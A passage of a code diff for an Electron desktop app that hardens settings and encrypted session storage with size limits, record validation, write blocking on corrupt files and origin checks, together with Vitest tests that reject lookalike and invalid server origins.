MAX_SITE_ICON_LENGTH = 512 * 1024 +const MAX_SITE_TIMESTAMP_LENGTH = 64 +const logger = createLogger('BrowserSiteDirectory') /** * Hosts kept across all imports. Bounded because every record can carry an @@ -69,11 +81,24 @@ interface EncryptedDirectoryEnvelope { } function isSiteRecord(value: unknown): value is SiteRecord { + if (!value || typeof value !== 'object' || Array.isArray(value)) return false + const record = value as Record return ( - typeof value === 'object' && - value !== null && - typeof (value as SiteRecord).hostname === 'string' && - (value as SiteRecord).hostname !== '' + typeof record.hostname === 'string' && + record.hostname.length > 0 && + record.hostname.length <= MAX_SITE_HOSTNAME_LENGTH && + (record.name === undefined || + (typeof record.name === 'string' && record.name.length <= MAX_SITE_NAME_LENGTH)) && + (record.icon === undefined || + (typeof record.icon === 'string' && record.icon.length <= MAX_SITE_ICON_LENGTH)) && + (record.visits === undefined || + (typeof record.visits === 'number' && + Number.isSafeInteger(record.visits) && + record.visits >= 0)) && + (record.importedAt === undefined || + (typeof record.importedAt === 'string' && + record.importedAt.length <= MAX_SITE_TIMESTAMP_LENGTH && + Number.isFinite(Date.parse(record.importedAt)))) ) } @@ -111,6 +136,9 @@ interface EncryptionProvider { } export class SiteDirectory { + private persistenceState: 'unknown' | 'writable' | 'blocked' = 'unknown' + private mutationTail = Promise.resolve() + constructor( private readonly filePath: string, private readonly encryption: EncryptionProvider = safeStorage @@ -123,7 +151,7 @@ export class SiteDirectory { */ isAvailable(): boolean { try { - return this.encryption.isEncryptionAvailable() + return this.persistenceState !== 'blocked' && this.encryption.isEncryptionAvailable() } catch { return false } @@ -132,32 +160,75 @@ export class SiteDirectory { private async read(): Promise { if (!this.isAvailable()) return [] try { - const raw = await readFile(this.filePath) + const raw = await readFileWithinLimit(this.filePath, MAX_DIRECTORY_FILE_BYTES) const envelope = JSON.parse(raw.toString('utf8')) as EncryptedDirectoryEnvelope - if (envelope.version !== DIRECTORY_VERSION) return [] + const isLegacyEnvelope = + envelope.version === 1 && + typeof envelope.payload === 'string' && + Object.keys(envelope).length === 2 + if ( + (!isLegacyEnvelope && envelope.version !== DIRECTORY_VERSION) || + typeof envelope.payload !== 'string' + ) { + this.blockPersistence('invalid-envelope') + return [] + } const decrypted = this.encryption.decryptString(Buffer.from(envelope.payload, 'base64')) - const records = JSON.parse(decrypted) as SiteRecord[] - // Per-record, not just per-array: everything downstream sorts and merges - // on `hostname`, so one entry without it is a TypeError in the middle of - // an import rather than a record that is quietly skipped. - return Array.isArray(records) ? records.filter(isSiteRecord) : [] - } catch { - // A missing, truncated, or foreign-keyed file reads as empty rather than - // taking the omnibox down with it. + if (Buffer.byteLength(decrypted, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) { + this.blockPersistence('resource-limit') + return [] + } + const records = JSON.parse(decrypted) as unknown + if (!Array.isArray(records) || records.length > MAX_SITES || !records.every(isSiteRecord)) { + this.blockPersistence('invalid-payload') + return [] + } + this.persistenceState = 'writable' + return isLegacyEnvelope ? [] : records + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + this.persistenceState = 'writable' + return [] + } + if (error instanceof FileResourceLimitError) { + this.blockPersistence('resource-limit') + return [] + } + this.blockPersistence('read-failed') return [] } } + private blockPersistence( + reason: 'invalid-envelope' | 'invalid-payload' | 'read-failed' | 'resource-limit' + ): void { + if (this.persistenceState !== 'blocked') { + logger.warn('Browser site directory persistence is unavailable', { reason }) + } + this.persistenceState = 'blocked' + } + private async write(records: SiteRecord[]): Promise { if (!this.isAvailable()) return false + const payload = JSON.stringify(records) + if (Buffer.byteLength(payload, 'utf8') > MAX_DIRECTORY_PAYLOAD_BYTES) return false const envelope: EncryptedDirectoryEnvelope = { version: DIRECTORY_VERSION, - payload: this.encryption.encryptString(JSON.stringify(records)).toString('base64'), + payload: this.encryption.encryptString(payload).toString('base64'), } await writeJsonFileAtomically(this.filePath, envelope) return true } + private enqueueMutation(operation: () => Promise): Promise { + const result = this.mutationTail.then(operation) + this.mutationTail = result.then( + () => undefined, + () => undefined + ) + return result + } + async list(): Promise { return this.read() } @@ -170,28 +241,34 @@ export class SiteDirectory { * importing a second profile should add to what the browser knows, not * strip the first profile's sites of their names. */ - async remember(records: readonly SiteRecord[]): Promise { - if (records.length === 0 || !this.isAvailable()) return - const merged = new Map() - for (const existing of await this.read()) merged.set(existing.hostname, existing) - for (const incoming of records) { - if (!incoming.hostname) continue - const existing = merged.get(incoming.hostname) - merged.set(incoming.hostname, { - hostname: incoming.hostname, - name: incoming.name ?? existing?.name, - icon: incoming.icon ?? existing?.icon, - // The most-used of the profiles a host was seen in wins, so re-importing - // a profile that barely touches a site cannot demote it. - visits: maxDefined(incoming.visits, existing?.visits), - importedAt: incoming.importedAt ?? existing?.importedAt, - }) - } - await this.write(evictExcess([...merged.values()])) + remember(records: readonly SiteRecord[]): Promise { + if (records.length === 0) return Promise.resolve() + return this.enqueueMutation(async () => { + if (!this.isAvailable()) return + const merged = new Map() + for (const existing of await this.read()) merged.set(existing.hostname, existing) + for (const incoming of records) { + if (!isSiteRecord(incoming)) continue + const existing = merged.get(incoming.hostname) + merged.set(incoming.hostname, { + hostname: incoming.hostname, + name: incoming.name ?? existing?.name, + icon: incoming.icon ?? existing?.icon, + // The most-used of the profiles a host was seen in wins, so re-importing + // a profile that barely touches a site cannot demote it. + visits: maxDefined(incoming.visits, existing?.visits), + importedAt: incoming.importedAt ?? existing?.importedAt, + }) + } + await this.write(evictExcess([...merged.values()])) + }) } /** Forgets every site. Runs with the rest of the browser teardown. */ - async clear(): Promise { - await removeFileIfPresent(this.filePath) + clear(): Promise { + return this.enqueueMutation(async () => { + await removeFileIfPresent(this.filePath) + this.persistenceState = 'writable' + }) } } diff --git a/apps/desktop/src/main/config.test.ts b/apps/desktop/src/main/config.test.ts index fefba510536..41df6dae8b4 100644 --- a/apps/desktop/src/main/config.test.ts +++ b/apps/desktop/src/main/config.test.ts @@ -1,6 +1,6 @@ -import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs' +import { mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' -import { join } from 'node:path' +import { dirname, join } from 'node:path' import { describe, expect, it } from 'vitest' import { APP_NAME_FOR_CHANNEL, @@ -9,6 +9,7 @@ import { createConfigStore, DEFAULT_ORIGIN, isSafeInternalPath, + isSimCloudOrigin, partitionForOrigin, validateOriginInput, } from '@/main/config' @@ -145,6 +146,26 @@ describe('createConfigStore', () => { expect(reloaded.getOrigin()).toBe('https://self-hosted.example') }) + // setOrigin writes the whole settings file synchronously on the main thread, + // and re-confirming the URL already in the field is the common case in the + // server picker. + it('does not rewrite settings when setOrigin is given the stored origin', () => { + const filePath = tempSettingsPath() + const store = createConfigStore(filePath, {}) + store.setOrigin('https://self-hosted.example') + // A sentinel only this test could have written. A rewrite serializes the + // in-memory settings over it, so its survival proves no write happened — + // unlike an mtime comparison, which two writes a fraction of a millisecond + // apart can pass by accident. + writeFileSync(filePath, `${readFileSync(filePath, 'utf8')}\n// sentinel\n`) + + expect(store.setOrigin('https://self-hosted.example')).toEqual({ + ok: true, + origin: 'https://self-hosted.example', + }) + expect(readFileSync(filePath, 'utf8')).toContain('// sentinel') + }) + it('canonicalizes the apex production origin on setOrigin, not just on load', () => { // Entering https://sim.ai mid-session must not persist the apex: the // running session would use the wrong cookie partition and misclassify @@ -159,23 +180,58 @@ describe('createConfigStore', () => { expect(reloaded.getOrigin()).toBe('https://www.sim.ai') }) - it('recovers from a corrupted settings file', () => { + it('uses safe defaults until an explicit server choice replaces the corrupt file', () => { const filePath = tempSettingsPath() - writeFileSync(filePath, '{not json') + const original = '{not json' + writeFileSync(filePath, original) const store = createConfigStore(filePath, {}) + + expect(store.isPersistenceAvailable()).toBe(false) expect(store.getOrigin()).toBe(DEFAULT_ORIGIN) + store.set('zoomLevel', 1.5) + store.flush() + expect(readFileSync(filePath, 'utf8')).toBe(original) + + expect(store.setOrigin('https://self-hosted.example')).toEqual({ + ok: true, + origin: 'https://self-hosted.example', + }) + expect(store.isPersistenceAvailable()).toBe(true) + expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://self-hosted.example') + const settingsDirectory = dirname(filePath) + const backups = readdirSync(settingsDirectory).filter((name) => name.includes('.corrupt-')) + expect(backups).toHaveLength(0) }) - it('falls back to the default origin when the stored origin is invalid', () => { + it('does not carry settings across an invalid stored origin or retain them after repair', () => { const filePath = tempSettingsPath() - writeFileSync(filePath, JSON.stringify({ origin: 'http://evil.example' })) + const original = JSON.stringify({ + origin: 'http://evil.example', + browserKnownSites: [{ hostname: 'private.example', lastVisitedAt: '2026-01-01' }], + browserDownloadDirectory: '/private/downloads', + }) + writeFileSync(filePath, original) const store = createConfigStore(filePath, {}) + + expect(store.isPersistenceAvailable()).toBe(false) expect(store.getOrigin()).toBe(DEFAULT_ORIGIN) + expect(store.get('browserKnownSites')).toBeUndefined() + expect(store.get('browserDownloadDirectory')).toBeUndefined() + store.set('zoomLevel', 2) + store.flush() + expect(readFileSync(filePath, 'utf8')).toBe(original) + + expect(store.setOrigin('https://self-hosted.example').ok).toBe(true) + const repaired = JSON.parse(readFileSync(filePath, 'utf8')) + expect(repaired.browserKnownSites).toBeUndefined() + expect(repaired.browserDownloadDirectory).toBeUndefined() + expect(readFileSync(filePath, 'utf8')).not.toContain('private.example') }) it('honors a valid SIM_DESKTOP_ORIGIN override without persisting it', () => { const filePath = tempSettingsPath() const store = createConfigStore(filePath, { SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:4600' }) + expect(store.isPersistenceAvailable()).toBe(true) expect(store.getOrigin()).toBe('http://127.0.0.1:4600') store.set('zoomLevel', 1) store.flush() @@ -215,6 +271,33 @@ describe('createConfigStore', () => { expect(JSON.parse(readFileSync(filePath, 'utf8')).origin).toBe('https://sim.example.com') }) + it('keeps the active origin unchanged when its immediate write fails', () => { + const filePath = tempSettingsPath() + const parent = dirname(filePath) + const store = createConfigStore(filePath, {}) + rmSync(parent, { recursive: true }) + writeFileSync(parent, 'not a directory') + + try { + expect(store.setOrigin('https://sim.example.com')).toEqual({ + ok: false, + error: 'Could not save the desktop settings file', + }) + expect(store.getOrigin()).toBe(DEFAULT_ORIGIN) + expect(store.isPersistenceAvailable()).toBe(false) + + rmSync(parent) + mkdirSync(parent) + expect(store.setOrigin('https://sim.example.com')).toEqual({ + ok: true, + origin: 'https://sim.example.com', + }) + expect(store.isPersistenceAvailable()).toBe(true) + } finally { + rmSync(parent, { recursive: true, force: true }) + } + }) + it('ignores an invalid SIM_DESKTOP_ORIGIN override', () => { const store = createConfigStore(tempSettingsPath(), { SIM_DESKTOP_ORIGIN: 'http://evil.example', @@ -223,6 +306,25 @@ describe('createConfigStore', () => { }) }) +describe('isSimCloudOrigin', () => { + it('recognizes Sim-operated origins and nothing else', () => { + for (const origin of ['https://sim.ai', 'https://www.sim.ai', 'https://www.staging.sim.ai']) { + expect(isSimCloudOrigin(origin)).toBe(true) + } + // A lookalike host must not pass — the suffix check is on the parsed + // hostname, never a prefix or substring of the raw string. + for (const origin of [ + 'https://sim.example.com', + 'https://sim.ai.evil.example', + 'https://notsim.ai', + 'http://localhost:3000', + 'not a url', + ]) { + expect(isSimCloudOrigin(origin)).toBe(false) + } + }) +}) + describe('channelForOrigin', () => { it('maps each environment origin to its channel', () => { expect(channelForOrigin('https://sim.ai')).toBe('prod') diff --git a/apps/desktop/src/main/config.ts b/apps/desktop/src/main/config.ts index 654fbacfa35..30c00528b10 100644 --- a/apps/desktop/src/main/config.ts +++ b/apps/desktop/src/main/config.ts @@ -179,6 +179,22 @@ export function canonicalOrigin(origin: string): string { return ORIGIN_REWRITES[origin] ?? origin } +/** + * Whether an origin is one of Sim's own deployments rather than a self-hosted + * one. Sim-operated resources — the public status page above all — describe + * only these, so a shell pointed elsewhere must not be offered them: telling a + * self-hoster whose server is down to consult a page that is always green + * sends the person who most needs an answer to the one place that has none. + */ +export function isSimCloudOrigin(origin: string): boolean { + try { + const host = new URL(origin).hostname.toLowerCase() + return host === 'sim.ai' || host.endsWith('.sim.ai') + } catch { + return false + } +} + /** * Maps a server origin to its cookie/storage partition. Each origin gets an * isolated persistent partition so sessions never leak across instances. @@ -224,12 +240,13 @@ const DEFAULT_SETTINGS: DesktopSettings = { export interface ConfigStore { readonly filePath: string + isPersistenceAvailable(): boolean getOrigin(): string setOrigin(origin: string): OriginValidation get(key: K): DesktopSettings[K] set(key: K, value: DesktopSettings[K]): void - /** Writes any debounced change immediately. Called on quit. */ - flush(): void + /** Writes any debounced change immediately and reports whether persistence is healthy. */ + flush(): boolean } /** @@ -261,21 +278,38 @@ export function createConfigStore( ): ConfigStore { let settings: DesktopSettings = { ...DEFAULT_SETTINGS } let rewroteOrigin = false + let persistenceBlocked = false try { - const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as Partial - settings = { ...DEFAULT_SETTINGS, ...parsed } - const validated = validateOriginInput(settings.origin) - const loaded = validated.ok ? validated.origin : DEFAULT_ORIGIN - settings.origin = canonicalOrigin(loaded) - rewroteOrigin = settings.origin !== loaded - if (rewroteOrigin) { - logger.info('Rewrote stored server origin to its canonical form', { - from: loaded, - to: settings.origin, - }) + const parsed = JSON.parse(readFileSync(filePath, 'utf8')) as unknown + if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) { + persistenceBlocked = true + } else { + const loadedSettings = { ...DEFAULT_SETTINGS, ...(parsed as Partial) } + const validated = validateOriginInput(loadedSettings.origin) + if (!validated.ok) { + persistenceBlocked = true + } else { + const loaded = validated.origin + settings = loadedSettings + settings.origin = canonicalOrigin(loaded) + rewroteOrigin = settings.origin !== loaded + if (rewroteOrigin) { + logger.info('Rewrote stored server origin to its canonical form', { + from: loaded, + to: settings.origin, + }) + } + } } - } catch { + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') { + persistenceBlocked = true + } + } + if (persistenceBlocked) { settings = { ...DEFAULT_SETTINGS } + rewroteOrigin = false + logger.warn('Desktop settings persistence is unavailable because the existing file is invalid') } const envOverride = env.SIM_DESKTOP_ORIGIN ? validateOriginInput(env.SIM_DESKTOP_ORIGIN) : null @@ -286,13 +320,17 @@ export function createConfigStore( let saveTimer: ReturnType | null = null /** Writes the whole file now and cancels any pending debounced write. */ - const writeNow = () => { + const writeNow = (): boolean => { if (saveTimer) clearTimeout(saveTimer) saveTimer = null + if (persistenceBlocked) return false try { writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT) + return true } catch (error) { + persistenceBlocked = true logger.error('Failed to persist desktop settings', { error }) + return false } } @@ -306,7 +344,7 @@ export function createConfigStore( * not were paying a full fsync per event. */ const save = () => { - if (saveTimer) return + if (persistenceBlocked || saveTimer) return saveTimer = setTimeout(writeNow, SAVE_DEBOUNCE_MS) saveTimer.unref?.() } @@ -321,6 +359,9 @@ export function createConfigStore( return { filePath, + isPersistenceAvailable() { + return !persistenceBlocked + }, getOrigin() { if (envOverride?.ok) { return envOverride.origin @@ -339,11 +380,35 @@ export function createConfigStore( // only repairs it on the next launch. The canonical origin is also // returned so the caller sees what was actually stored. const origin = canonicalOrigin(validated.origin) + if (persistenceBlocked) { + const previousOrigin = settings.origin + try { + settings.origin = origin + writeJsonFileAtomicallySync(filePath, settings, SETTINGS_INDENT) + persistenceBlocked = false + logger.warn('Recovered desktop settings persistence') + return { ok: true, origin } + } catch (error) { + settings.origin = previousOrigin + logger.error('Could not recover invalid desktop settings', { error }) + return { ok: false, error: 'Could not repair the desktop settings file' } + } + } + // Re-confirming the origin already stored is the common case in the + // server picker, and setOrigin's write is a synchronous mkdir + whole-file + // write + rename on the main thread. There is nothing to persist. + if (origin === settings.origin) { + return { ok: true, origin } + } + const previousOrigin = settings.origin settings.origin = origin // Not debounced: changing the origin tears the session down and // reloads, so a pending write could be lost on the way out — and this // is the one setting whose loss strands the app on the wrong server. - writeNow() + if (!writeNow()) { + settings.origin = previousOrigin + return { ok: false, error: 'Could not save the desktop settings file' } + } return { ok: true, origin } }, get(key) { @@ -361,8 +426,7 @@ export function createConfigStore( save() }, flush() { - if (!saveTimer) return - writeNow() + return saveTimer ? writeNow() : !persistenceBlocked }, } } diff --git a/apps/desktop/src/main/desktop-chat-session-store.test.ts b/apps/desktop/src/main/desktop-chat-session-store.test.ts index f6dcf749856..094ab4484e9 100644 --- a/apps/desktop/src/main/desktop-chat-session-store.test.ts +++ b/apps/desktop/src/main/desktop-chat-session-store.test.ts @@ -1,4 +1,12 @@ -import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs' +import { + existsSync, + mkdtempSync, + readFileSync, + rmSync, + statSync, + truncateSync, + writeFileSync, +} from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' @@ -121,6 +129,38 @@ describe('DesktopChatSessionStore', () => { expect(statSync(filePath).mode & 0o077).toBe(0) }) + it('does not replace the durable store with an oversized encrypted envelope', () => { + const provider = encryption() + const store = open(provider) + store.setTerminal(ORIGIN, 'chat-existing', TERMINAL) + expect(store.flush()).toBe(true) + const existing = readFileSync(filePath, 'utf8') + + vi.mocked(provider.encryptString).mockReturnValueOnce(Buffer.alloc(8 * 1024 * 1024)) + store.setTerminal(ORIGIN, 'chat-new', TERMINAL) + + expect(store.flush()).toBe(false) + expect(readFileSync(filePath, 'utf8')).toBe(existing) + + expect(store.flush()).toBe(true) + expect(readFileSync(filePath, 'utf8')).not.toBe(existing) + }) + + it('preserves an oversized store until explicit clear resets persistence', () => { + writeFileSync(filePath, '') + truncateSync(filePath, 10 * 1024 * 1024 + 1) + const store = open(encryption()) + + expect(store.initialize()).toBe(false) + store.setTerminal(ORIGIN, 'chat-new', TERMINAL) + expect(store.flush()).toBe(false) + expect(statSync(filePath).size).toBe(10 * 1024 * 1024 + 1) + + store.clear() + store.setTerminal(ORIGIN, 'chat-new', TERMINAL) + expect(store.flush()).toBe(true) + }) + it('keeps a pending chat in memory until migration promotes it to a durable chat id', () => { const provider = encryption() const pending = open(provider) @@ -245,6 +285,28 @@ describe('DesktopChatSessionStore', () => { expect(terminal?.activeIndex).toBe(11) }) + it('bounds persisted browser tabs while retaining pinned and active entries', () => { + const store = open() + const tabs = Array.from({ length: 40 }, (_, index) => ({ + url: `https://tab-${index}.example/`, + pinned: index < 4, + })) + + expect( + store.setBrowser(ORIGIN, 'chat-bounded', { + v: 1, + tabs, + activeIndex: tabs.length - 1, + downloads: [], + }) + ).toBe(true) + + const snapshot = store.getBrowser(ORIGIN, 'chat-bounded') + expect(snapshot?.tabs).toHaveLength(32) + expect(snapshot?.tabs.filter((tab) => tab.pinned)).toHaveLength(4) + expect(snapshot?.tabs[snapshot.activeIndex]?.url).toBe('https://tab-39.example/') + }) + it('filters unsafe or malformed values while loading an encrypted payload', () => { const provider = encryption() writeEncryptedPayload(provider, { diff --git a/apps/desktop/src/main/desktop-chat-session-store.ts b/apps/desktop/src/main/desktop-chat-session-store.ts index 4ae7430def9..71b3b663a25 100644 --- a/apps/desktop/src/main/desktop-chat-session-store.ts +++ b/apps/desktop/src/main/desktop-chat-session-store.ts @@ -1,13 +1,15 @@ -import { readFileSync, unlinkSync } from 'node:fs' +import { unlinkSync } from 'node:fs' import { isAbsolute } from 'node:path' import { isDesktopScopeId, isPendingDesktopScopeId } from '@sim/desktop-bridge' import { isRecordLike } from '@sim/utils/object' import { safeStorage } from 'electron' -import { writeJsonFileAtomicallySync } from '@/main/atomic-json-file' +import { readFileWithinLimitSync, writeJsonFileAtomicallySync } from '@/main/atomic-json-file' const STORE_VERSION = 1 const SNAPSHOT_VERSION = 1 const MAX_DURABLE_ENTRIES = 100 +const MAX_STORE_BYTES = 10 * 1024 * 1024 +const MAX_BROWSER_TABS = 32 const MAX_ORIGIN_LENGTH = 2_048 const MAX_URL_LENGTH = 8_192 const MAX_CWD_LENGTH = 4_096 @@ -141,13 +143,54 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null return null } - const tabs: BrowserSessionSnapshot['tabs'] = [] - for (const candidate of value.tabs) { + const requestedActiveIndex = + typeof value.activeIndex === 'number' && Number.isInteger(value.activeIndex) + ? value.activeIndex + : 0 + const activeSourceIndex = + requestedActiveIndex >= 0 && requestedActiveIndex < value.tabs.length + ? requestedActiveIndex + : null + const selectedTabs: Array<{ + tab: BrowserSessionSnapshot['tabs'][number] + sourceIndex: number + }> = [] + const replaceableTabIndex = (): number => { + for (let index = selectedTabs.length - 1; index >= 0; index--) { + const entry = selectedTabs[index] + if (entry.sourceIndex !== activeSourceIndex && !entry.tab.pinned) return index + } + return -1 + } + for (let sourceIndex = 0; sourceIndex < value.tabs.length; sourceIndex++) { + const candidate = value.tabs[sourceIndex] if (!isRecordLike(candidate) || typeof candidate.pinned !== 'boolean') continue const url = normalizeBrowserUrl(candidate.url) if (url === null) continue - tabs.push({ url, pinned: candidate.pinned }) + const next = { tab: { url, pinned: candidate.pinned }, sourceIndex } + if (selectedTabs.length < MAX_BROWSER_TABS) { + selectedTabs.push(next) + continue + } + if (sourceIndex === activeSourceIndex) { + const replacementIndex = replaceableTabIndex() + selectedTabs[replacementIndex >= 0 ? replacementIndex : selectedTabs.length - 1] = next + continue + } + if (candidate.pinned) { + const replacementIndex = replaceableTabIndex() + if (replacementIndex >= 0) selectedTabs[replacementIndex] = next + } } + selectedTabs.sort((left, right) => left.sourceIndex - right.sourceIndex) + const tabs = selectedTabs.map(({ tab }) => tab) + const selectedActiveIndex = selectedTabs.findIndex( + ({ sourceIndex }) => sourceIndex === activeSourceIndex + ) + const activeIndex = + selectedActiveIndex >= 0 + ? selectedActiveIndex + : normalizeActiveIndex(requestedActiveIndex, tabs.length) const downloads: BrowserSessionSnapshot['downloads'] = [] for (const candidate of value.downloads) { @@ -193,7 +236,7 @@ function normalizeBrowserSnapshot(value: unknown): BrowserSessionSnapshot | null return { v: SNAPSHOT_VERSION, tabs, - activeIndex: normalizeActiveIndex(value.activeIndex, tabs.length), + activeIndex, downloads, } } @@ -275,7 +318,9 @@ export class DesktopChatSessionStore { if (!this.isAvailable()) return false try { - const envelope = JSON.parse(readFileSync(this.filePath, 'utf8')) as unknown + const envelope = JSON.parse( + readFileWithinLimitSync(this.filePath, MAX_STORE_BYTES).toString('utf8') + ) as unknown if ( !isRecordLike(envelope) || envelope.v !== STORE_VERSION || @@ -297,19 +342,20 @@ export class DesktopChatSessionStore { const loaded: SessionEntry[] = [] for (const candidate of payload.entries) { const entry = this.normalizeEntry(candidate) - if (entry && isDurableScope(entry.scope)) loaded.push(entry) + if (!entry || !isDurableScope(entry.scope)) continue + loaded.push(entry) + loaded.sort( + (left, right) => + right.lastAccessedAt - left.lastAccessedAt || + keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope)) + ) + if (loaded.length > MAX_DURABLE_ENTRIES) loaded.pop() } - loaded.sort( - (left, right) => - right.lastAccessedAt - left.lastAccessedAt || - keyFor(left.origin, left.scope).localeCompare(keyFor(right.origin, right.scope)) - ) - for (const [key, entry] of this.entries) { if (isDurableScope(entry.scope)) this.entries.delete(key) } - for (const entry of loaded.slice(0, MAX_DURABLE_ENTRIES)) { + for (const entry of loaded) { this.entries.set(keyFor(entry.origin, entry.scope), entry) this.accessClock = Math.max(this.accessClock, entry.lastAccessedAt) } @@ -496,6 +542,7 @@ export class DesktopChatSessionStore { v: STORE_VERSION, ciphertext: this.encryption.encryptString(JSON.stringify(payload)).toString('base64'), } + if (Buffer.byteLength(JSON.stringify(envelope), 'utf8') > MAX_STORE_BYTES) return false writeJsonFileAtomicallySync(this.filePath, envelope) this.dirty = false return true diff --git a/apps/desktop/src/main/index.ts b/apps/desktop/src/main/index.ts index cf82af3da67..539c2329a5a 100644 --- a/apps/desktop/src/main/index.ts +++ b/apps/desktop/src/main/index.ts @@ -1,8 +1,19 @@ -import { join } from 'node:path' +import { join, resolve } from 'node:path' import { createLogger } from '@sim/logger' import { getErrorMessage } from '@sim/utils/errors' import type { OpenDialogOptions, Session, WebContents } from 'electron' -import { app, BrowserWindow, crashReporter, dialog, net, session } from 'electron' +import { app, BrowserWindow, crashReporter, dialog, net, session, shell } from 'electron' +import { + beginAccountDataTeardown, + completeDeploymentScopedTeardown, + getAccountDataTeardownKind, + getAccountDataTeardownOrigin, + initializeAccountDataRecovery, + isAccountDataTeardownRequired, + prepareAccountDataTeardownForQuit, + retryAccountDataTeardown, + waitForAccountDataMutations, +} from '@/main/account-data-generation' import { newChatRoute, settingsRoute } from '@/main/app-routes' import { activateBrowserScope as activateAgentBrowserScope, @@ -48,10 +59,12 @@ import { LocalFilesystemService } from '@/main/local-filesystem' import { createEncryptedLocalFilesystemGrantStore } from '@/main/local-filesystem-grant-store' import { installApplicationMenu } from '@/main/menu' import { openExternalSafe } from '@/main/navigation' -import { createEventLog } from '@/main/observability' +import { createEventLog, installMainProcessFailureObservers } from '@/main/observability' import { ScopedEventRouter } from '@/main/scoped-event-router' import { installGlobalGuards } from '@/main/security-guards' +import { createServerWindow, relaunchApp } from '@/main/server-window' import { + canRevokeIn, createSessionLifecycleCoordinator, decideStartRoute, handleConnectIntercept, @@ -71,13 +84,15 @@ const logger = createLogger('DesktopMain') * Backstop for the sign-in flows, which are dispatched fire-and-forget from a * loopback callback and a navigation guard. The flows record their own expected * failures; this catches anything they do not, so a rejection cannot surface as - * an unhandled one — main registers no `unhandledRejection` handler. + * an unhandled one — the process-level observer is a last-resort restart path, + * not routine control flow. */ function reportHandoffFailure(error: unknown): void { logger.error('Sign-in handoff failed', { error: getErrorMessage(error) }) } const OFFLINE_PAGE = 'static/offline.html' +const SERVER_PAGE = 'static/server.html' const DOCK_ICON_FOR_CHANNEL = { prod: 'dock-icon.png', staging: 'dock-icon-staging.png', @@ -88,20 +103,30 @@ const DOCK_ICON_FOR_CHANNEL = { function main(): void { app.enableSandbox() - const config = createConfigStore(join(app.getPath('userData'), 'settings.json')) - const events = createEventLog(join(app.getPath('userData'), 'logs')) + const userDataPath = app.getPath('userData') + const config = createConfigStore(join(userDataPath, 'settings.json')) + initializeAccountDataRecovery(join(userDataPath, 'account-data-teardown-required.json')) + const recoveryOrigin = getAccountDataTeardownOrigin() + if (isAccountDataTeardownRequired() && recoveryOrigin && !config.isPersistenceAvailable()) { + const repaired = config.setOrigin(recoveryOrigin) + if (!repaired.ok) { + logger.error('Could not repair desktop settings for account-data recovery') + } + } + const accountDataAvailable = () => + config.isPersistenceAvailable() && !isAccountDataTeardownRequired() + const events = createEventLog(join(userDataPath, 'logs')) const appOrigin = () => config.getOrigin() + /** Resource snapshots stay with the deployment that created this process. */ + const processOrigin = appOrigin() + const recoveryPartition = `sim-settings-recovery-${process.pid}` + const appPartition = (origin = appOrigin()) => + accountDataAvailable() ? partitionForOrigin(origin) : recoveryPartition const desktopChatSessions = new DesktopChatSessionStore( - join(app.getPath('userData'), 'desktop-chat-sessions.json') + join(userDataPath, 'desktop-chat-sessions.json') ) const clearDesktopChatSessions = (): void => { - try { - desktopChatSessions.clear() - } catch (error) { - logger.error('Could not clear encrypted task resource state', { - error: getErrorMessage(error), - }) - } + desktopChatSessions.clear() } const flushDesktopChatSessions = (phase: 'before-quit' | 'will-quit'): void => { if (!desktopChatSessions.flush()) { @@ -110,17 +135,17 @@ function main(): void { } const localFilesystem = new LocalFilesystemService({ grantStore: createEncryptedLocalFilesystemGrantStore( - join(app.getPath('userData'), 'local-filesystem-grants.json') + join(userDataPath, 'local-filesystem-grants.json') ), }) const scopeEvents = new ScopedEventRouter() const terminal = new TerminalRegistry({ - load: (scopeId) => desktopChatSessions.getTerminal(appOrigin(), scopeId) ?? undefined, - save: (scopeId, snapshot) => desktopChatSessions.setTerminal(appOrigin(), scopeId, snapshot), + load: (scopeId) => desktopChatSessions.getTerminal(processOrigin, scopeId) ?? undefined, + save: (scopeId, snapshot) => desktopChatSessions.setTerminal(processOrigin, scopeId, snapshot), migrate: (fromScopeId, toScopeId) => - desktopChatSessions.migrateTerminal(appOrigin(), fromScopeId, toScopeId), + desktopChatSessions.migrateTerminal(processOrigin, fromScopeId, toScopeId), disposeScope: (scopeId) => { - desktopChatSessions.deleteScope(appOrigin(), scopeId) + desktopChatSessions.deleteScope(processOrigin, scopeId) }, }) const preloadPath = join(__dirname, 'preload.cjs') @@ -131,8 +156,11 @@ function main(): void { let ensureWindowCreation: Promise | null = null let appSession: Session | null = null let sessionLifecycle: ReturnType | null = null + let resumingQuitAfterTeardown = false + let mandatoryRelaunchPending = false let tray: TrayHandle | null = null let updater: UpdaterHandle | null = null + let startupReady: Promise | null = null const configuredPartitions = new Set() const allowHttpLocalhost = () => !app.isPackaged || appOrigin().startsWith('http://') @@ -147,6 +175,7 @@ function main(): void { } return getWindows().at(-1) ?? null } + installMainProcessFailureObservers({ events, getWindow: getMainWindow }) const windowForContents = (contents: WebContents) => { const win = BrowserWindow.fromWebContents(contents) return win && windows.has(win) && !win.isDestroyed() ? win : null @@ -223,7 +252,7 @@ function main(): void { }) function configureSessionForOrigin(origin: string) { - const partition = partitionForOrigin(origin) + const partition = appPartition(origin) const ses = session.fromPartition(partition) if (configuredPartitions.has(partition)) { return ses @@ -247,41 +276,58 @@ function main(): void { events, getWindows, clearHandoffState: async () => { - try { - handoff.clear() - } catch (error) { - logger.error('Could not clear sign-in handoff state', { error: getErrorMessage(error) }) - } - try { - tray?.clearRecentChats() - } catch (error) { - logger.error('Could not clear recent tasks', { error: getErrorMessage(error) }) - } - // Shells are account-scoped runtime state. Leaving them alive across - // sign-out would stream the previous account's output into the next - // renderer and keep its local processes running invisibly. - try { - terminal.dispose() - } catch (error) { - 